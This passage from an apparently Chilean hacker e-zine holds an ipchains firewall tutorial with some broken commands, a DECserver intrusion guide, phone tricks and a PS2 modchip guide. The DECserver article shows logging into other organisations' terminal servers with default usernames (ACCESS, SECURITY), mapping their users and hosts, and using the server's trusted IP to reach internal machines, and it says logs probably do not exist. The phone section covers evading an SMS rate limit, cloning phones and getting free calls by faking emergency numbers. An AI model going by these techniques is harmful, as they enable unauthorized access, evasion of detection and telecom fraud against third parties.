regla al final de una cadena, si no especifica una cadena la regla se aplica a todas las cadenas. -l [cadena] Inserta una regla al principio de una cadena, si no se especifica una cadena, la regla se aplica a todas las cadenas -i Especifica una interfaz de red a a la que se aplica la cadena, si no se especifica la interfaz, la regla se aplica a todas las interfaces las que pueden ser eth0, eth1 o y ppp -p Especifica el protocolo al que se le aplica la regla, si no se usa esta opcion la regla se aplica a todos los protocolos, los cuales pueden ser TCP, UDP, ICMP o ALL, tambien se permiten nombres de protocolos o numeros de protocolos del archivo /etc/protocols. -y Esta regla no la entiendo mucho, pero es para que compruebe los bits indicadores de paquetes, o sea controlar que el paquerte venga integro. Es para el indicador SYN que recibe el paquete. !-y Esta es la misma que la de arriba, pero para responder si el paquete llego o no, es para el indicador ACK -s [] Especifica la direccion de origen del paquete. Si no se especifica direccin origen estan implicadas todas las direcciones de origen multidifusin, si se especifica un puerto o un intervalo de puertos la regla solo se aplica a estos, sino se especifica un puerto la regla se aplica a todos los puertos. no se puede especificar un puerto sin una direccion. -d [] Especifica una direccion de destino. -j Especifica la directica de disposicion del paquete para esta regla, ACCEPT, DENY o REJECT, la cadena forward puede usar la directiva MASQ(para enmascarar). Bueno, estas son las opciones principales para hacer el firewall y entender de que estamos hablando. Ahora vamos al grano y crearemos un Firewall con Ipchains, este es solo para protejerse y dejar salir algunos servicios. Hay que destacar que las reglas de Ipchains quedan guardadas en RAM, asi que si el equipo se reinicia o algo por el estilo estan quedaran borradas, asi que es bueno activar el firewall siempre a la entrada, con un script o agregandolo en el rc.local o como el usuario estime conveniente. Este Firewall es para una conexion casera.. mediante ppp ################################################################################## ### COMIENZO DEL FIREWALL ################################################################################## ### #!/bin/sh #Aca habilitamos el forward y las tcp_syncookies por si aca para no sufrir un ataque DOS echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/tcp_syncookies #ahora nos encargamos de limpiar todas las reglas de la RAM ipchains -F ipchains -X #ahora se definen algunas variables para no tener que escribirlas siempre iplocal=iplocal/mascara #la mascara es la que usa el host o la red se especifica en bits onda #255.255.255.255=32 bits (4 octetos) dns=direcciondelDNS/mascara #lo mismo, pero si no saben la mascara no pongan nada mailserver=direcciondelmail/mascara #again #bueno queda mas que claro que aca defines variables para poder dar acceso a los servidores #Comenzamos con las reglas ahora, aceptamos #creamos una chain para salida ppp ipchains -N ppp-out ipchains -A output -i ppp0 -j ppp-out #aca dejo salir para cualquier servicio, telnet ftp, web.. lo que sea lo ultimo es pa acelerar el asunto ipchains -A ppp-out -p TCP -d 0.0.0.0/0 -t 0x01 0x10 #aca se crea una cadena para controlar la entrada ipchains -N ppp-in ipchains -A input -i ppp0 -j ppp-in #Aca dejo pasar el DNS completo, aunque se puede dejar pasar solo consultas DNS con la variable domain que va despues de la $iplocal ipchains -A ppp-in -p UDP -s $dns -d $iplocal -j ACCEPT ipchains -A ppp-in -p TCP -s $dns -d $iplocal -j ACCEPT #Aca pasan los datos de FTP en caso de que hagamos alguno solo por puertos restringidos ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $iplocal 1024:5999 -j ACCEPT ipchains -A ppp-in -p TCP -s 0.0.0.0/0 ftp-data -d $iplocal 6010: -j ACCEPT #podemos dejar pasar otros servidores tal como el mail ipchains -A ppp-in -p TCP -s $mailserver -d localhost pop-3 -j ACCEPT #Aca dejo acceso a algun otro servicio, en este caso el IRC de Terra puedes especificar el puerto, yo lo deje completo ipchains -A ppp-in -p TCP -s irc.terra.cl -d $iplocal -j ACCEPT #esta regla es para los paquetes de ACK que reciben bits de control TCP ipchains -A ppp-in -p TCP ! -y -j ACCEPT #dejamos la Interfaz interna aceptada ipchains -A input -i lo -j ACCEPT #y dejamos predeterminado denegar TODO. ipchains -P input DENY #fin ################################################################################## ### Bueno la razon por la que dejamos denegado para la cadena input, es que la mejor forma de hacer un firewall es denegando TODO y controlando por entrada, asi damos acceso a quienes nos da la gana, ahora presentare un firewall para interfaces de red, o sea para una red interna, que es mas o menos lo mismo, pero un poco mas sencillo puesto que no se debe crear ninguna cadena en especial. ################################################################################## ### COMIENZO DEL FIREWALL LAN ################################################################################## ### #!/bin/sh #Declaramos variables iplocal=iplocal/mascara dns=ipdeldns/mascara mailserver=ipmailserver/mascara # aceptamos todo lo que salga de la iplocal pchains -A output -p ALL -s $iplocal -d 0.0.0.0/0 -j ACCEPT # Dejamos pasar la informacion del DNS TCP y UDP (Para poder resolver nombres) ipchains -A input -j -p UDP -s $dns domain -d $iplocal -j ACCEPT ipchains -A input -p TCP -s $dns domain -d $iplocal -j ACCEPT # habilitamos el mail por supuesto ipchains -A input -p TCP -s $mailserver -d $iplocal pop-3 -j ACCEPT #Telnet desde el equipo que elijamos ipchains -A input -p TCP -s ipinvitado -d $iplocal telnet -j ACCEPT # FTP desde donde elijamos con el ftp-data para la transferencia ipchains -A input -p TCP -s ipinvitado -d $iplocal ftp -j ACCEPT ipchains -A input -p TCP -s ipinvitado -d $iplocal ftp-data -j ACCEPT #Aca aceptamos los paquetes ACK para control TCP ipchains -A input -p TCP ! -y -j ACCEPT #y dejamos aceptando ping, traceroute, en general, paquetes icmp ipchains -A input -p ICMP -s 0.0.0.0/0 -d $iplocal -j ACCEPT #y la directiva predeterminada (ya explique por que anteriormente) ipchains -A input DENY FIN Ya al finalizar destaco que a pesar de que los 2 firewalls son bastante basicos en la creacion de reglas y puesta en funcionamiento ambos funcionan en teoria, pero lo importante es que da nociones basicas para comenzar algo mas avanzado y que ofresca mas seguridad de la que se ofrece aca. La informacion para la creacion de los firewalls ha sido sacada del conocimiento personal y del ipchains-howto disponible en la red y del libro firewall linux, el cual recomiendo. Gracias a s0ul y Kristo por ayudarme a probar los ejemplos.. En el proximo texto explicare como enmascarar con ipfwadm Hasta luego man =ViC3nT BlaCk= Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< DECservers >>>-------------------------------------[ by ThEye ]------=> Hola,con este peque~o articulo pretendo introducir un poco a la exploracion de los sistemas DEC que,segun mi opinion,son bastante interesantes ya que no son como las demas maquinas ,sino que son algo,no completamente pero si muy,diferentes al resto de los comunes *NIXES y NT que mucha gente conoce. Quiero antes que nada se~alar que no soy ningun experto en cuanto a esto de los DECserver ni tampoco de *nix y ni siquiera de windows,por lo tanto es posible que algunas cosas que aqui coloque pueden estar erradas,desde ya pido disculpas por eso. Primero veamos que es un DecServer para luego saber que es lo que haremos una vez estemos dentro de uno,para esto que mejor que revisar los manuales de esta maquina: This manual, in conjunction with the DECserver 700 Hardware Installation Card, describes how to install the DECserver 700 network access server and how to verify its operation. This manual also describes the controls and indicators. This manual is intended for the hardware installer and the network manager. Supersession/Update Information: This is a revised manual. Software Version: DECserver Network Access Software V1.0 The DECserver 700 connects devices (such as printers, terminals, PCs, and modems) to local area networks (LANs). The DECserver 700 is Ethernet/IEEE 802.3-based and supports standard Ethernet/IEEE 802.3 and 10BaseT Ethernet/IEEE 802.3 directly, and ThinWire TM Ethernet/IEEE 802.3 through an adapter. Como pueden ver en la primera parte dice claramente DECserver NETWORK ACCESS SERVER, es decir es una maquina que sirve para loguear y luego entrar en la red interna de la organizacion,un verdadero mayordomo :) .Luego nos dicen que los DECservers son hardware del tipo Ethernet y que a el pueden conectarse impresoras ,terminales ,pcs ,modems ,etc.El programa que corre (SO) es el DECserver NETWORK ACCESS SOFTWARE ,como podemos comprobarlo al hacer un escaneo de puertos con nmap usando la opcion -O para que nos diga que SO corre la maquina que estamos viendo: TCP Sequence Prediction: Class=64K rule Difficulty=1 (Trivial joke) Remote operating system guess: DECserver700-16, Network Access SW V2.2 Bueno ya que sabemos que es un DECSERVER practiquemos un tanto en alguno que ande por ahi. Obviamente lo primero que debemos hacer es entrar,y si no sabemos alguna password veremos frustradas nuestras intenciones,pero como sabemos hay algunos server que tienen los usernames y passwords por defecto corriendo ya sea por ignorancia de quien se encarga de su sistemaje o por simple negligencia.En el caso de los DecServer se sabe que usernames por defecto son ACCESS Y SECURITY. Al telnetear el DecServer recibiremos una respuesta como esta: Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. [THY: como pueden observar no recivimos ninguna respuesta por parte del server] bueno aca no reciviremos un prompt como LOGIN sino que debemos teclear los users que vimos mas arriba (uno solo) y presionar enter.Los que lleguen hasta aca se daran cuenta que no existe echo (es decir no vemos lo que escribimos) bueno eso no es un gran problema asi que no nos preocuparemos...luego veremos esto: DECserver 300 Terminal Server V2.1 (BL29-2) - LAT V5.1 (c) Copyright 1991, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> como username podemos poner cualquier cosa. Una vez dentro debemos empezar a buscar que comandos son los que comprende esta maquina.Comenzemos con help... Local> help HELP ********** Help Screens Copyright 1988, 1989, 1990, 1991 ********** Digital Equipment Corporation The online HELP facility allows you to access reference and tutorial information. Choose one of the following options: o Enter TUTORIAL or HELP for information on using HELP and basic user functions. o Choose a HELP topic from the following list: BACKWARDS BROADCAST CHANGE CLEAR CLOSE CONNECT DEFINE DISCONNECT FORWARDS HELP LIST LOCK LOGOUT OPEN PING PURGE RESUME SEND SET SHOW TELNET TEST TUTORIAL Topic? La forma de usar esta ayuda es un tanto extra~a,si escribes cualquier palabra te manda a la parte que pediste o bien te responde con un mensaje de topic no encontrado.Es posible que las primeras veces se te haga dificil usarla pero luego veras como te acostumbras.Para salir solo presiona enter hasta que veas el prompt ( Local> generalmente.).Probemos pidiendo ayuda sobre algun comando,por ejemplo telnet... Topic? telnet CONNECT TELNET/TELNET/OPEN Use this command to connect to an internet host. You must specify TELNET if TELNET is not the port's default protocol. {CONNECT} [TELNET] {inet-address} [[PORT] tcp-port] {OPEN } {host-name } {TELNET } inet-address the internet address of the host to be connected. host-name the internet domain name of the host to be connected. tcp-port optional Telnet/TCP port number. Topic? ahora sobre connect que obviamente esta relacionado con telnet... Topic? connect CONNECT Requests a connection to the specified target. The target can be a LAT service, an internet host or a SLIP session. CONNECT [ANY ] [LAT|SERVICE] [SLIP ] [TELNET ] Additional help available for: ANY LAT SERVICE SLIP TELNET CONNECT Subtopic? aca puedes poner un subtopic del topic de ayuda connect,por ejemplo slip o lat o alguna de las opciones que nos dan.Todo ok hasta ahora,para conectarnos a un server solo debemos poner connect y su domain o ip. Una red de DecServers actuan como uno solo .Ademas es posible que maquinas con otros SO este conectados a este.Para ver los sistemas que tienen corriendo una conexion con nuestro DEC escribimos lo siguiente: sh nodes sh services lo que equivale a escribir show nodes o show services. Ahora veamos un ejemplo de lo que recivimos: Local> sh services Service Name Status Identification PERICOTE Available Digital UNIX Version V4.0 LAT SERVICE LAUCHA Available Digital UNIX Version V4.0 LAT SERVICE RATON Available Digital UNIX Version V3.2 LAT SERVICE esto en el caso de show services,para show nodes es esto... Local> sh nodes Node Name Status Identification PERICOTE Reachable Digital UNIX Version V4.0 LAT NODE LAUCHA Reachable Digital UNIX Version V4.0 LAT NODE DECSERVER Reachable GUAREN Reachable Digital UNIX Version V3.2 LAT NODE RATON Reachable Digital UNIX Version V4.0 LAT NODE como puedes ver hay un DECSERVER,ese eres tu. Por ejemplo,para conectar a la maquina PERICOTE escribes: c pericote [lo que equivale a "connect pericote"] y para hacerlo a la maquina LAUCHA se escribe lo mismo pero reemplazas pericote por laucha.Por alguna razon es posible que tu conexion no sea aceptada,en ese caso reciviras esta respuesta: Local> c pericote Local -234- Connection to PERICOTE not established Service Disabled ...bueno nuestros ojos ven que pericote esta disponible,sin embargo al tratar de conectar con el nos dice que no lo esta,que significa esto? significa que como podemos ver en el resultado de show nodes,pericote recive conexiones via LAT,por lo tanto debemos especificar eso,ahora bien si tu maquina objetivo acepta conexiones telnet no debes especificar nada (eso si telnet esta por defecto).Supongamos que la maquina a la que quieres entrar es un RedHat,entonces reciviremos el login que corresponde a un RedHat,por ejemplo este: Red Hat Linux release 6.1 (Cartman) Kernel 2.2.12-20 on an i686 login: esto sera asi solo si no han cambiado el mensaje de login en ese server,de otra forma nos encontraremos con un mensaje personalizado diciendonos que esta es la maquina de X empresa ,institucion o algo parecido. Hablando ahora con respecto al LAT antes mencionado.LAT significa Local Area Transport y es un protocolo desarrollado por la misma Digital Equipment Corporation.Su funcion principal es la de comunicar maquinas DEC,y para que el protocolo LAT se use se asume que el hardware disponible es del tipo Ethernet,o sea,para establecer una conexion con otro nodo,el DECserver debe conocer la direccion ethernet del nodo destino,por lo tanto la respuesta al porque no se pudo conectar al nodo pericote radica en que no conocia la direccion ethernet o algo parecido.Bueno este articulo trata sobre los DEC en si,y no del protocolo LAT.Para saber mas sobre este protocolo los remito al articulo escrito por Lagarto para SET 12 llamado EL LAT :D . Tal vez no es muy logico entrar a un DECserver,que es un tanto problematico de manejar,la mejor opcion para cubrir nuestra entrada a otro server,pero esto se hace ya que es posible que veamos dentro de sus conexiones una maquina a la cual queremos acceder y que no es posible alcanzarla desde internet u otro host ya que verifica el ip del sistema que le pide permiso de entrada,entonces,como nuestro DECserver tienen una ip en la cual el host objetivo confia,podemos saltarnos ese peque~o problema. Sigamos explorando los comandos con la ayuda que nos brinda help... Topic? send SEND TELNET Sends the Telnet functions as indicated: SEND TELNET {AO} {AYT} {BRK} {EOR} {IP} {NOP} {REQUEST STATUS} {RESUME OUTPUT} {SYNCH} AO (Abort Output) aborts any output currently on its way to the terminal. AYT (Are You There) causes the remote host to send a message indicating that it is up and running. BRK (Break) sends a Telnet Break command to the remote host. EOR (End of Record) sends a Telnet End-of-Record command to the remote host. IP (Interrupt Process) sends a command to the remote host which interrupts or aborts a remote process. NOP (No Operation) sends a Telnet No-Operation command to the remote host. REQUEST STATUS requests that the peer Telnet implementation send the status of all Telnet options for the session. RESUME OUTPUT causes the session to resume after a SEND TELNET AO command has been sent. SYNCH causes data currently on its way to the remote process to be dropped. bastante claras las opciones,pero por ahora no usaremos nada de esto. Veamos que pasa si ponemos help como topic de ayuda... Topic? help TUTORIAL The terminal server provides a variety of user functions. To learn these functions, type the UPPERCASE word of your topic at the prompt. By not typing a topic and pressing the Return key, the "TOPIC?" prompt appears. This places you at the HELP screen. Pressing the Return key at "TOPIC" places you at the terminal server prompt (referred to as the local prompt). The local prompt might appear as "Local> " but can be changed by the person managing the terminal server. (Use the SHOW SYSTEM command for this person's name.) Type HELP at "TUTORIAL Subtopic?" for information on using HELP. Use the HELP facility for information on specific commands. To logout of the terminal server, type LOGOUT at the local prompt. Topics: CONNECTing to a System SESSIONS COMMAND Line Recall SLIP session FILE Transfers SPECIAL Keys HELP Conventions TD/SMP - Session Management LOCKING Your Port TERMINAL Server Features PORT and Device Characteristics TUTORIAL Subtopic? se puede ver que si ponemos show system veremos algo interesante,pidamos primero ayuda para saber que es... Topic? show system SHOW/LIST SYSTEM Displays the terminal server system characteristics. {SHOW} SYSTEM [CHARACTERISTICS] {LIST} SHOW Subtopic? No muy explicito,mejor veamos la ayuda de show... Topic? show SHOW Use SHOW commands to display current status or information about various options from the server's operational database. Additional help available for: INTERNET NODES PORT QUEUE SERVER SERVICES SESSIONS SNMP SYSTEM USERS TELNET SHOW Subtopic? como pueden ver bastante interesante y algunos de ellos ya los probamos, veamos el resto... :D Local> sh users Port Username Status Service 1 MICKEYMOUSE Connected RATA 9 MINIE Connected RATA Local> show system Contact: Location: Local> ...no obtuvimos respuesta para show system...no sabria decir porque,por lo menos podemos ver los users,y quien sabe si estos users estan registrados en otros servers y con una password facil??...informacion que puede ser util :) . Mmmm...la info que tenemos sobre connect no era muy buena,pidamos mas ayuda sobre connect... TUTORIAL Subtopic? connect CONNECTING TO A SYSTEM Use the CONNECT command to connect to a system. The terminal server supports the LAT, Telnet, and SLIP protocols. If the protocol is not specified in the CONNECT command, the terminal server uses the default protocol. You specify the default protocol with the SET/DEFINE/CHANGE PORT DEFAULT PROTOCOL command. To connect to a LAT service named MYSYSTEM: Local> CONNECT LAT MYSYSTEM You do not need to type LAT if that is the default protocol. The SHOW SERVICE command displays the available LAT services. To connect to an internet host named SALES.MGT.COM: Local> CONNECT TELNET SALES.MGT.COM You do not need to type TELNET if that is the default protocol. You can use OPEN or TELNET instead of CONNECT, and you can substitute the host's internet address for the name. Each connection to a system is called a session. You end a session by logging out of the system or using the DISCONNECT or CLOSE command at the local prompt. Type SESSIONS for further information. TUTORIAL Subtopic? bueee...no llegamos a nada mas explicito...pura perdida de tiempo :( . Ademas hay algo que me ha llamado la atencion,si pido conectar a un host cualquiera o incluso a un host de la misma red del DEC,es frecuente que me encuentre con una respuesta como esta: Local> c telnet mickey.rata.disney.com Local -427- No address associated with name ...al parecer hay que especificar que ip tiene el host,bastante incomodo pero bueno no nos vamos a quejar tampoco,al fin es una peque~ez nada mas.Bueno sigamos con las variantes de show... Local> show internet Internet Address: 1.2.3.4. Subnet Mask: 255.255.255.0 Local> show server DECserver 300 V2.1 BL29-2 LAT V5.1 ROM 1.0.6 Uptime: 5 05:09:04 Address: 08-00-2B-26-82-58 Name: DSDPI21 Number: 0 Identification: Circuit Timer: 80 Password Limit: 3 Console Port: 1 Prompt: Local> Inactivity Timer: 2 Queue Limit: 100 Keepalive Timer: 20 Retransmit Limit: 8 Multicast Timer: 30 Session Limit: 64 Node Limit: 200 Software: SH1601ENG Service Groups: 0 Enabled Characteristics: Announcements, Broadcast, Dump Sigamos revisando help show... SHOW Subtopic? telnet SHOW/LIST TELNET LISTENER Displays information about Telnet listeners on the terminal server. {SHOW} TELNET LISTENER {ALL } [CHARACTERISTICS] {LIST} {tcp-port} ALL displays all Telnet listeners in the terminal server. tcp-port specifies the TCP port number associated with the listener. CHARACTERISTICS displays the Telnet listener characteristics. SHOW Subtopic? ya que sabemos algo nuevo,lo ponemos en practica ... Local> show telnet listener ALL Listener TCP-port: 23 Identification: Telnet Console Ports: Console Connections: Enabled Listener TCP-port: 2001 Identification: Ports: All Connections: Enabled Listener TCP-port: 2002 Identification: Ports: All Connections: Enabled Listener TCP-port: 2003 Identification: Ports: All Connections: Enabled Listener TCP-port: 2004 Identification: Ports: All Connections: Enabled ...ok,ahora si ponemos SHOW TELNET LISTENER ACA_EL_PUERTO CHARACTERISTICS nos encontraremos con que nos dice lo mismo que vemos aca sobre todos los puertos pero esta vez sobre el puerto que hemos especificado.Toda esa mara~a de info sobre los puertos del DEC nos dicen cuales estan abiertos ,donde debemos identificarnos y si esta habilitado o no. Veamos ahora el comando list: Topic? list LIST Use the LIST command to display information about various options from the permanent database. Additional help available for: INTERNET PORTS SERVER SERVICES SYSTEM TELNET sigamos con un subtopic... LIST Subtopic? internet SHOW/LIST INTERNET Displays information associated with the terminal server internet database. {SHOW} INTERNET [ARP ENTRY ] {LIST} [CHARACTERISTICS] [COUNTERS ] [GATEWAY ] [HOST ] [NAME RESOLUTION] Additional help available for: ARP CHARACTERISTICS COUNTERS GATEWAY HOST NAME SHOW/LIST INTERNET Subtopic? ahora veamos algo... Local> list internet host Internet Address Name 1.2.3.9 RATON 1.2.3.6 PERICOTE 1.2.3.8 LAUCHA 1.2.3.4 DECSERVER 1.2.3.2 GUAREN nuevamente el DECSERVER eres tu...esto solo nos a proporcionado las ips de los servers,cosa que podemos conseguir sin necesidad de loguearnos al decserver,un simple ping desde nuestro pc y listo,por lo tanto esto no sirve.Sigamos... Local> list internet CHARACTERISTICS Internet Address: 1.2.3.4.5 Subnet Mask: 255.255.255.0 exactamente lo mismo que show internet... Local> list internet gateway Gateway: 1.2.3.1 Network: any bueno el gateway corresponde al ip 1.2.3.1 el cual es un router...veamos otro comando: Local> list internet counters TCP Segments: Transmitted: 1066096 Bytes Transmitted: 794048 Data: 549856 Bytes Data: 758197 Data Retransmitted: 3440 Bytes Data Retransmitted: 35851 Other: 512805 Bytes Received: 68975627 Received: 763097 Segments Discarded: 0 Internet Connections: IP Packets Transmitted: 1068130 Requested: 263 IP Packets Received: 763180 Accepted: 30 IP Fragments Received: 0 Established: 279 IP Fragments Dropped: 0 Closed: 263 IP Error in Header: 0 Dropped: 45 ICMP Messages: UDP Datagrams: Transmitted: 81 Transmitted: 1 Received: 82 Received: 1 Dropped: 0 Dropped: 0 Destination Unreachable: 2 datos estadisticos mas que nada... nada muy interesante. Talvez ya muchos han entrado a una maquina de estas y estan preocupados por las huellas que talvez dejaron en el server.Debido a que no soy un experto en nada y menos en DECservers no sabria decir si estas maquinas guardan logs aunque me parece que no lo hacen ( ME PARECE , no estoy nada seguro ) asi que pueden estar tranquilos aquellos que accedan a estos aparatitos.Me gustaria que la gente que sepa mas sobre estos servidores ( ojala un administrador ) contacte conmigo para intercambiar pareceres al respecto. Bueno esto seria todo en cuanto a DECservers en este numero,si el articulo gusta es posible que prosiga con el en el proximo numero. Opiniones, criticas o cualquier cosa referida a este articulo sera muy bien recivida en Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla Salu2 ThEye [ Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla ] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< QuickTip: SMS/Celular/PCS >>>---------------------[ by NDR113 ]------=> 0) SMS Entel Short Message System, osea Sistema de Mensajes Cortos, fue la movida del ao. Todo el mundo enviando mensajes por el apartito -obviamente Entel, pues el SMS es una caracteristica del sistema GSM, sistema q solo utiliza Entel PCS-. Pero, el furor paso y ahora hay q pagar, no mas mensajes gratis. Pero... esta la web de Entel PCS -www.entelpcs.cl- donde se pueden enviar mensajes... pero hasta 3 solamente al mismo numero en un dia... problema? no, simplemente hay q cambiar la fecha del reloj -date, time, etc- y enviar cuantas veces se quiera. Como es posible eso? Entel utiliza Cokies, es decir un certificado q al enviar un mensaje se guarda en tu tarro con info de la fecha y mensaje enviado, asi cuando vuelves a enviar el sitio revisa el cookie y compara la hora del sistema -la q puedes cambiar- para ver si te deja enviar. A todo esto el cookie es emitido por 164.77.252.195, q corresponde a www.pcsrent.cl. alguien quiere hecharle una mirada? XD i) Nokia5120i Este es mas que un articulo, es un tip cortito acerca de los celulares Nokia 5120i, entregados por Bellsouth y CTC Startel aqui en Chile. No tengo el Nokia5120 a mano para nada, ya que tengo un fono Samsung, asi que disculpen si me equivoco en algun lado, pero escribo casi de memoria por que no tengo como comprobar y chequear.. trato de recordar aquel domingo 4 de Junio en que llego a mis manos el aparato por casualidad y empeze a probar... a las horas tuve que devolverlo.. :( En estas maquinitas, como quedo dicho en FYE3 por Jubah, al marcar *3001#12345# se obtiene un menu en el que estan las opciones y configuraciones fundamentales del celular, estas son: NAM1 <- Configuraciones y identificadores primarios del celular NAM2 <- secundarios del celular SECURITY <- Seguridad, claves, bloqueo, etc EMERGENCY <- Numeros de emergencia SW VERSION <- Version del software del celular SERIAL NO <- Numero Serial del aparato TEST FIELD <- Prueba de Campo... prueba seal, frecuencia, etc PROGRAMMED <- NAM1 y NAM2 cotiene la informacion basica del celular, como su numero, su ID -es decir el identificador unico que representa a tu celular ante la red de tu proveedor movil, etc. Se me ha pasado por la mente que al ser estos valores modificables, por que no ver que pasa cuando utilizamos las mismas configuraciones para dos aparatos celulares? Clonacion. Lamentablemente no tengo esos dos celulares, por eso estoy esperando que algun lector interesado pesque la maquinita le pele otro a un amigo y comienze a probar. El menu SECURITY lo explico Jubah en FYE3, asi que no creo necesario volver a hacerlo. Finalmente, en EMERGENCY, te programan los numeros que son considerados de emergencia y por lo tanto al ser marcados, se supone que el aparato envia un TAG -o etiqueta- antes del correspondiente numero para que la llamada no sea tarifada. Que pasa si cambiamos el 133 -fono de la policia chilena, alias Carabineros- que debe tener, por otro numero, luego apagamos reiniciamos el equipo, y marcamos el numero que recien ingresamos como de emergencia? Pues llama y en pantalla dice que se esta llamando a un numero de emergencia... :) Se concreta la llamada? Aqui pueden pasar varias cosas, por ejemplo, Caso 1 - Telefonica Movil - Tarjeta de Prepago Provee la otra ves con cierto compadre del DalNet. Al cambiar el emergency por un numero de un telefono fijo le decia que estaba bloqueado para tales llamadas... :( Mas, luego provo cambiando el numero por el de mi celular y logro hacer la llamada... :) Caso 2 - Telefonica Movil - 0 Plata Cargada Este fono picante sin ni un peso encima es obviamente del picante del ThEye XD . Bueno el no pudo concretar llamada alguna a ningun telefono tanto movil como fijo. Caso 3 - Bellsouth - Tarjeta de Prepago Aqui la cosa marco pero tampoco comunico, por estar segun la linda voz de la grabadora, no autorizada para realizar estas llamadas... eso si, la cosa no fue tan simple... al marcar un telefono no existente en la red fija -55200000- en ves de salir el mensaje de Bellsouth, salio el de Telefonica, es decir, al menos la llamada logra salir de la red movil y pasa a la red fija... quizas no todo este perdido. Caso 4 - Tu Celular Los invito a probar que pasa... si, pesquen su weaita de aparato, y vean que aparte de jugar la wea de la vibora -en todo caso es mejor el nibbles para qbasic- tb se pueden hacer otras cosas... exploren y revisenlo completo... prueben y experimenten. ii) AudioVOX PCX-1100 XLS Este fono CDMA de carcaza plateada y entreago por Smartcom PCS aqui en Chile, tiene al igual que todo fono movil, un menu para programar y fijar su informacion de programacion. Como acceder a este menu? #22202200 END Aqui accesdes a un pequeo menu de tres opciones, entre ellas esta el de FIJAR NAM, el que obviamente tiene que ve con la programcion del PCS mismo. El problema? la clave de seguridad que se necesita para acceder alli, cual es la clave? la sabia, pero por esas cosas se me olvido XD. Te todas maneras ese una cifra de 5 digitos y contiene 59132 -segun recuerdo-, lamentablemente el orden se me olvido. Si alguien lo vuelve a encontrar igual, envien sus emails para postearlo. iii) Samsung SCH6000 Tambien un fono CDMA entragado por Smartcom. Para acceder a su menu "oculto" se va hacia el menu Pantalla desde las opciones principales. Alli aun cuando hay solo tres opciones 1,2 y 3, si se selecciona la opcion 0 , se obtiene una peticion de Clave de Seguridad para acceder al menu "oculto". Aqui denuevo otro pero, tampoco se se esa clave. Quizas sea la misma que en el caso del AudioVOX, pues creo que la clave mas que venir de fabrica es colocada por los tecnicos de Smarcom, por lo que no me sorprenderia que fuera la misma. FINAL Se que este Quick Tip dejo mas preguntas que respuestas, y es que no manejo el tema y solo escribo esto solo por curiosidad, y no con experticia, simplemente me coloque a jugar con estos 3 telefonos. Espero que esto los inste a probar con sus fonos y descubrir que hay tras cada llamada. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Desbloqueo de PS2 >>>-----------------------------[ by [BuRToN ]------=> Desde que salio la primera Playstation hasta la actualidad se ha intentado siempre buscar y aprovechar al maximo su sistema de juegos, a que me refiero con esto, que siempre se busco hacer la copia ilegal o tb se podria decir "juegos originales de otras nacionalidades", pero bueno la Sony se preocupo de esto y al ver lo que sucedia bloqueo el sistema dejando los juegos "originales" de otras nacionalidades inservibles, no se tardo mucho tiempo en que la gente preocupada del negocio de venta de juegos desbloqueara el sistema, logrando asi, que cualquier tipo de emulcion de cd sea aceptado por el psx (Playstation). En la actualidad el psx quedo chico ante el nuevo lanzamiento de la sony la famosisimaaa psx 2 o Playstation 2 (notese la originalidad del nombre) una consola en el cual los juegos del psx tb pueden ser jugados, por que el chip q controla el Input/Output (entrada y salida) es el mismo chip que se utilizaba en la psx original, asi q no se pierde compatibilidad. Mientras el chip Emotion que controla la Play2 es un procesador a 300 Mhz cuyo rendimiento y calidad es lejor mayor a la psx original. Incluso ha tenido problemas con la exportacion pues es tan poderosa que podria utilizarse con fines militares. Ahora la pregunta era la siguiente se podr desbloquear? la consola tiene cd que se aproximan a los 8gb!! son dvd!!, pero bueno nada queda chico para esta gente "ayuda pobres" logrando desbloquearla como?? re facil cualquiera puede desbloquear una consola y que mas sencillo que un plano. En esta oportunidad les daremos el plano y el como hacerlo, las precauciones y los materiales. MATERIALES - Un cautin! (una de esas cosas que soldan) ke sea fino!! - 8 cables de distintos colores o si sabes reconocer sin color mejor! - El famosisimo chip pic12c5xx (SIN EL NO PUEDES HACER NADA) Se puede comprar en http://www.pckits.cl/psx/ - Soldadura - El plano incluido en el zip de la ezine ( plano_ps2.jpg ) Precauciones - Cuidado al soldar!! preocuparse de que no quede ni salte soldadura al integrado y menos dejar puentes!! preocupate de ke la soldadura este en el lugar preciso si no es asi, no te arriesgues puedes hechar a perder un chip que vale ocmo diez mil pesos o una consola que vale como 450 mil pesos jeje con cuidado!! - Obviamnte desenchufa la consola o te electrucuctas jaja!! - limpia bien el cautin cada vez ke heches soldadura para mayor comodidad y tambien evitar cualquier roce con el integrado. - Fijate bien donde van los cables y en donde van, el plano es bastante sencillo. Como hacerlo? - Esto es re facil sigue al pie de la letra el plano, pelas los cables en las puntas dejando un pequeo pedazo de alambre para poder asi soldar. - Cada patilla del chip va unido con un puente al lugar q indica en plano siguiendo los numeros al pie de la letra (1 con 1, etc) - En cada uno de los puntos en ke se solda debes tener la precaucion que sea lo justo y necesario (si dejas un puente le puedes decir chao a tu integrado o a tu chip). - coloca bien el chip!!! si lo dejas suelto te despides de todo el trabajo hecho se suelta y capacito que un cable haga puentee y ... adioss psx2 ESO ES TODO SUERTE!! Y SI VES HUMITO CUANDO LA PRENDAS PUEDES IR A SUICIDARTE JAJJAJA todo lo dicho tiene harta experiencia no es facil sacrificar una 